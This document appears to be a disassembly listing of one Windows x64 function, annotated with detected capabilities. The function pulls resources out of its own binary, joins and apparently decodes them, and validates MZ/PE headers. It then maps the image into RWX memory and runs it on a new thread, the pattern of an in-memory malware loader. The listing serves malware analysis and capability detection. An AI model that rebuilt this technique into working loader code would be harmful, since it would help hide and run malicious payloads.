Function at 0x140004130
Capabilities:
Allocate or change rwx memory
Create thread
Extract resource via kernel32 functions
Parse pe header
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
xor edx, edx
xor ecx, ecx
call fcn.140038bcc
xor r13d, r13d
xor ecx, ecx
mov r15d, r13d
mov r12d, r13d
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov edx, 0x3e8
lea r8d, [r13 + 0xa]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
test rax, rax
je 0x1400043f4
lea rbx, [r13 - 1]
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x1400043f4
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, r15d
mov rcx, rdi
add edx, eax
cmovb rdx, rbx
call fcn.140038bcc
mov rdi, rax
test rax, rax
je 0x1400043f4
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, r15d
mov r8d, ebx
add rcx, rdi
mov rdx, rax
call fcn.14002b680
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
inc r12d
xor ecx, ecx
add r15d, eax
mov eax, 0x3e8
add eax, r12d
movzx ebx, ax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, 0xa
mov edx, ebx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rsi, rax
mov rbx, 0xffffffffffffffff
test rax, rax
jne 0x140004193
test r12d, r12d
je 0x1400043f4
test r15d, r15d
je 0x1400043f4
lea r8, [rbp + 0x77]
mov dword [rbp + 0x77], r13d
mov edx, r15d
mov rcx, rdi
call fcn.140004430
mov rdi, rax
test rax, rax
je 0x1400043eb
mov eax, dword [rbp + 0x77]
test eax, eax
je 0x1400043eb
mov qword [rbp - 0x61], rax
mov eax, 0x5a4d
mov qword [rbp - 0x51], r13
mov qword [rbp - 0x29], r13
mov qword [rbp - 0x69], rdi
mov qword [rbp - 0x59], rdi
cmp word [rdi], ax
jne 0x140004400
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
mov qword [rbp - 0x51], rbx
cmp dword [rbx], 0x4550
jne 0x140004400
lea rax, [rbx + 0x90]
mov qword [rbp - 0x49], rax
lea rdx, [rbx + 0xd0]
mov qword [rbp - 0x41], rdx
lea r8, [rbx + 0xb0]
mov qword [rbp - 0x39], r8
lea rcx, [rbx + 0xa0]
mov qword [rbp - 0x31], rcx
lea r14, [rbx + 0x108]
mov qword [rbp - 0x29], r14
test rbx, rbx
je 0x140004400
test rax, rax
je 0x140004400
test rdx, rdx
je 0x140004400
test r8, r8
je 0x140004400
test rcx, rcx
je 0x140004400
test r14, r14
je 0x140004400
mov edx, dword [rbx + 0x50]
mov r9d, 0x40
mov rcx, qword [rbx + 0x30]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
jne 0x140004365
mov edx, dword [rbx + 0x50]
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140004400
movaps xmm0, xmmword [rbp - 0x69]
lea rcx, [rbp - 0x19]
movaps xmm1, xmmword [rbp - 0x59]
mov r8, rsi
movaps xmmword [rbp - 0x19], xmm0
mov rdx, rdi
movaps xmm0, xmmword [rbp - 0x49]
movaps xmmword [rbp + 7], xmm0
movsd xmm0, qword [rbp - 0x29]
movaps xmmword [rbp - 9], xmm1
movaps xmm1, xmmword [rbp - 0x39]
movsd qword [rbp + 0x27], xmm0
movaps xmmword [rbp + 0x17], xmm1
call fcn.140005e70
mov rbx, rax
test rax, rax
je 0x140004400
mov r8d, dword [r14 + 0xc]
xor edx, edx
mov rcx, rsi
call fcn.14002bd30
mov rcx, rdi
call fcn.14003e178
xor r9d, r9d
mov qword [rsp + 0x28], r13
mov r8, rbx
mov dword [rsp + 0x20], r13d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x140004400
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140004400
lea rcx, str._x__DATA_COULD_NOT_BE_VERIFIED_n
jmp 0x1400043fb
lea rcx, str._x__DATA_DOES_NOT_EXIST_n
call fcn.140001380
lea r11, [rsp + 0xd0]
xor eax, eax
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret